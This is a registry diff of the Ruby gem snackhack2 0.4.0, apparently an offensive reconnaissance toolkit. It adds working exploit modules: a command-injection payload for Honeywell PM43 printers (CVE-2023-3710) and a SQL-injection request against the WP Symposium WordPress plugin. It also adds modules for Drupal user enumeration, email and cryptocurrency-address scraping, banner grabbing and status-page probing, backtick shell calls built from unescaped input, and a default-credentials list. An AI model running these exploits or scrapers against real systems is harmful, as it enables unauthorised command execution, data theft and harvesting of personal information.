snackhack2 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: bbc624381b4958502decfc6b7ac465d6403f1188ce32dab550646e845ccddf12
4
+ data.tar.gz: 1cc81ff8c7b3de88dfcb61ac2c017399d278d507c5e961ef1de1e217a57210f2
5
+ SHA512:
6
+ metadata.gz: 74be7753128578579313e14a33b5796262126c3286d6ab77bb345ffd61cf1fb6f0a586e8369ce36a73c0135db99a26b36b73209e67b2d5d2ad59ab758e6035b0
7
+ data.tar.gz: 490420d11d5a8d93c0d11a3644abfde7ef00ee34621f84074bb82e69e6bea3899646e3c31407b2886d61bfe30b0bbfa12b2f0ade9d88007b18bd703288ed21d9
@@ -0,0 +1,27 @@
1
+ require 'httparty'
2
+ module Snackhack2
3
+ class HoneywellPM43
4
+ # CVE-2023-3710
5
+ # Source: https://www.exploit-db.com/exploits/51885
6
+ attr_reader :command
7
+
8
+ def initialize(site, command: "ls", save_file: true)
9
+ @site = site
10
+ @command = command
11
+ end
12
+
13
+ def command=(c)
14
+ @command = c
15
+ end
16
+
17
+ def run
18
+ pp = HTTParty.post(File.join(@site, "loadfile.lp?pageid=Configure"),
19
+ body: "username=x%0a#{@command}%0a&userpassword=1")
20
+ if pp.code == 200
21
+ puts pp
22
+ else
23
+ puts "[+] Status Code: #{pp.code}"
24
+ end
25
+ end
26
+ end
27
+ end
@@ -0,0 +1,22 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class WPSymposium
5
+ # SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
6
+ # https://www.exploit-db.com/exploits/37824
7
+ # Reveal the MySQL version
8
+ def initialize(site)
9
+ @site = site
10
+ end
11
+
12
+ def run
13
+ wp = Snackhack2::get(File.join(@site,
14
+ '/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--'))
15
+ if wp.code == 200
16
+ puts wp.body
17
+ else
18
+ puts "[+] HTTP Code: #{wp.code}"
19
+ end
20
+ end
21
+ end
22
+ end
@@ -0,0 +1,82 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'socket'
4
+ module Snackhack2
5
+ class BannerGrabber
6
+ attr_accessor :site, :save_file
7
+
8
+ def initialize(site, port: 443, save_file: true)
9
+ @site = site
10
+ @port = port
11
+ @headers = Snackhack2::get(@site).headers
12
+ @save_file = save_file
13
+ end
14
+
15
+ def site
16
+ @site.gsub('https://', '')
17
+ end
18
+
19
+ def run
20
+ nginx
21
+ apache2
22
+ wordpress
23
+ headers
24
+ end
25
+
26
+ def nginx
27
+ if @headers['server'].match(/nginx/)
28
+ puts "[+] Server is running NGINX... Now checking if #{File.join(@site, "nginx_status")} is valid..."
29
+ nginx = Snackhack2::get(File.join(@site, "nginx_status"))
30
+ if nginx.code == 200
31
+ puts "Check #{@site}/nginx_status"
32
+ else
33
+ puts "Response code: #{nginx.code}"
34
+ end
35
+ end
36
+ end
37
+
38
+ def curl
39
+ servers = ''
40
+ cmd = `curl -s -I #{@site.gsub('https://', '')}`
41
+ version = cmd.split('Server: ')[1].split("\n")[0].strip
42
+ if @save_file
43
+ servers += version.to_s
44
+ else
45
+ puts "Banner: #{cmd.split('Server: ')[1].split("\n")[0]}"
46
+ end
47
+ Snackhack2::file_save(@site, "serverversion", servers) if @save_file
48
+ end
49
+
50
+ def apache2
51
+ if @headers['server'].match(/Apache/)
52
+ puts "[+] Server is running APACHE2... Now checking #{File.join(@site, "server-status")}..."
53
+ apache = Snackhack2::get(File.join(@site, "server-status"))
54
+ if apache.code == 200
55
+ puts "Check #{@site}/server-status"
56
+ else
57
+ puts "[+] Response Code: #{apache.code}...\n\n"
58
+ end
59
+ else
60
+ puts "Apache2 is not found...\n\n"
61
+ end
62
+ end
63
+
64
+ def wordpress
65
+ wp = Snackhack2::get(@site).body
66
+ return unless wp.match(/wp-content/)
67
+
68
+ puts "[+] Wordpress found [+]\n\n\n"
69
+ end
70
+
71
+ def headers
72
+ h = Snackhack2::get(@site).headers
73
+ puts "[+] Server Version: #{h['server']}..."
74
+ end
75
+
76
+ def server
77
+ @headers['server']
78
+ end
79
+
80
+ attr_reader :site
81
+ end
82
+ end
@@ -0,0 +1,64 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'httparty'
4
+ require 'uri'
5
+ module Snackhack2
6
+ class CryptoExtractWebsite
7
+ attr_accessor :save_file
8
+
9
+ def initialize(site, save_file: true)
10
+ @http = Snackhack2::get(site).body
11
+ @site = site
12
+ @save_file = save_file
13
+ end
14
+
15
+ def run
16
+ addresses = []
17
+ addresses << monero unless monero.nil?
18
+ addresses << bitcoin unless bitcoin.nil?
19
+ addresses << dash unless dash.nil?
20
+ addresses << ethereum unless ethereum.nil?
21
+ addresses << bitcoincash unless bitcoincash.nil?
22
+ addresses << litecoin unless litecoin.nil?
23
+ addresses << dogecoin unless dogecoin.nil?
24
+ addresses << stellar unless stellar.nil?
25
+ if @save_file
26
+ Snackhack2::file_save(@site, "cryptoaddresses", addresses.uniq.join("\n"))
27
+ else
28
+ puts addresses.join("\n")
29
+ end
30
+ end
31
+
32
+ def monero
33
+ @http.scan(/[48][0-9AB][1-9A-HJ-NP-Za-km-z]{93}/)
34
+ end
35
+
36
+ def bitcoin
37
+ @http.scan(/(bc(0([ac-hj-np-z02-9]{39}|[ac-hj-np-z02-9]{59})|1[ac-hj-np-z02-9]{8,87})|[13][a-km-zA-HJ-NP-Z1-9]{25,35})/)
38
+ end
39
+
40
+ def dash
41
+ @http.scan(/X[1-9A-HJ-NP-Za-km-z]{33}/)
42
+ end
43
+
44
+ def stellar
45
+ @http.scan(/G[A-Z0-9]{55}$/)
46
+ end
47
+
48
+ def litecoin
49
+ @http.scan(/[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}/)
50
+ end
51
+
52
+ def dogecoin
53
+ @http.scan(/D{1}[56789ABCDEFGHJKLMNPQRSTU]{1}[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{32}$/)
54
+ end
55
+
56
+ def ethereum
57
+ @http.scan(/0x[a-fA-F0-9]{40}/)
58
+ end
59
+
60
+ def bitcoincash
61
+ @http.scan(/[13][a-km-zA-HJ-NP-Z1-9]{33}/)
62
+ end
63
+ end
64
+ end
@@ -0,0 +1,49 @@
1
+ require 'nokogiri'
2
+ require 'open-uri'
3
+ module Snackhack2
4
+ class Drupal
5
+ def initialize(site)
6
+ @site = site
7
+ end
8
+
9
+ def all
10
+ drupal_score
11
+ user_brute
12
+ end
13
+
14
+ def drupal_score
15
+ drupal_score = 0
16
+ d = Snackhack2::get(@site)
17
+ if d.code == 200
18
+ d.headers.each do |k|
19
+ if k.include?("drupal")
20
+ drupal_score += 10
21
+ end
22
+ end
23
+ end
24
+ d.headers.each do |v|
25
+ if v.include?("drupal")
26
+ drupal_score += 10
27
+ end
28
+ end
29
+ doc = Nokogiri::HTML(URI.open(@site))
30
+ posts = doc.xpath('//meta')
31
+ posts.each do |l|
32
+ if l.attributes['content'].to_s.include?("Drupal")
33
+ puts "[+] Drupal Version: #{l.attributes['content']}\n"
34
+ end
35
+ end
36
+ puts "Drupal Score: #{drupal_score}"
37
+ end
38
+
39
+ def user_brute
40
+ for user in 1..1000 do
41
+ u = Snackhack2::get(File.join(@site, "user", user.to_s)).body
42
+ if u.include?("Page not found")
43
+ puts "User count: #{user - 1}"
44
+ break
45
+ end
46
+ end
47
+ end
48
+ end
49
+ end
@@ -0,0 +1,35 @@
1
+ require 'httparty'
2
+ require 'spidr'
3
+ module Snackhack2
4
+ class Email
5
+ attr_accessor :max_depth
6
+
7
+ def initialize(site, save_file: true, max_depth: 4)
8
+ @site = site
9
+ @save_file = save_file
10
+ @max_depth = max_depth
11
+ end
12
+
13
+ def max_depth
14
+ @max_depth
15
+ end
16
+
17
+ def run
18
+ found_emails = []
19
+ Spidr.start_at(@site, max_depth: @max_depth) do |agent|
20
+ agent.every_page do |page|
21
+ body = page.to_s
22
+ if body.scan(/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}/)
23
+ email = body.scan(/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}/).uniq
24
+ if !email.include?(found_emails)
25
+ if !email.empty?
26
+ found_emails << email
27
+ end
28
+ end
29
+ end
30
+ end
31
+ end
32
+ Snackhack2::file_save(@site, "emails", found_emails.uniq.join("\n")) if @save_file
33
+ end
34
+ end
35
+ end
@@ -0,0 +1,28 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'httparty'
4
+ module Snackhack2
5
+ class GoogleAnalytics
6
+ attr_reader :site
7
+
8
+ def initialize(site)
9
+ @site = site
10
+ end
11
+
12
+ def run
13
+ a = Snackhack2::get(@site).body
14
+ case a
15
+ when /UA-\d{8}-\d/
16
+ puts a.match(/UA-\d{8}-\d/)
17
+ when /GTM-[A-Z0-9]{7}/
18
+ puts a.match(/GTM-[A-Z0-9]{7}/)
19
+ when /G-([0-9]+([A-Za-z]+[0-9]+)+)/
20
+ puts a.match(/G-([0-9]+([A-Za-z]+[0-9]+)+)/)
21
+ when /G-[A-Za-z0-9]+/
22
+ puts a.match(/G-[A-Za-z0-9]+/)
23
+ else
24
+ puts '[+] No Google Analytics found :('
25
+ end
26
+ end
27
+ end
28
+ end
@@ -0,0 +1,31 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Snackhack2
4
+ class IpLookup
5
+ def initialize(site)
6
+ @site = site
7
+ end
8
+
9
+ def run
10
+ get_ip
11
+ nslookup
12
+ end
13
+
14
+ def get_ip
15
+ ips = []
16
+ ip = `ping -c 2 #{@site.gsub('https://', '')}`.lines
17
+ ip.each do |l|
18
+ new_ip = l.match(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/)
19
+ ips << new_ip.to_s unless ips.include?(new_ip)
20
+ end
21
+ puts "IP via ping: #{ips.shift}\n\n\n\n"
22
+ end
23
+
24
+ def nslookup
25
+ ns = `nslookup #{@site.gsub('https://', '')}`.lines
26
+ ns.each do |ip|
27
+ puts ip if ip.include?('Address')
28
+ end
29
+ end
30
+ end
31
+ end
@@ -0,0 +1,4 @@
1
+ admin:password
2
+ tom:password
3
+ user:admin
4
+ admin:admin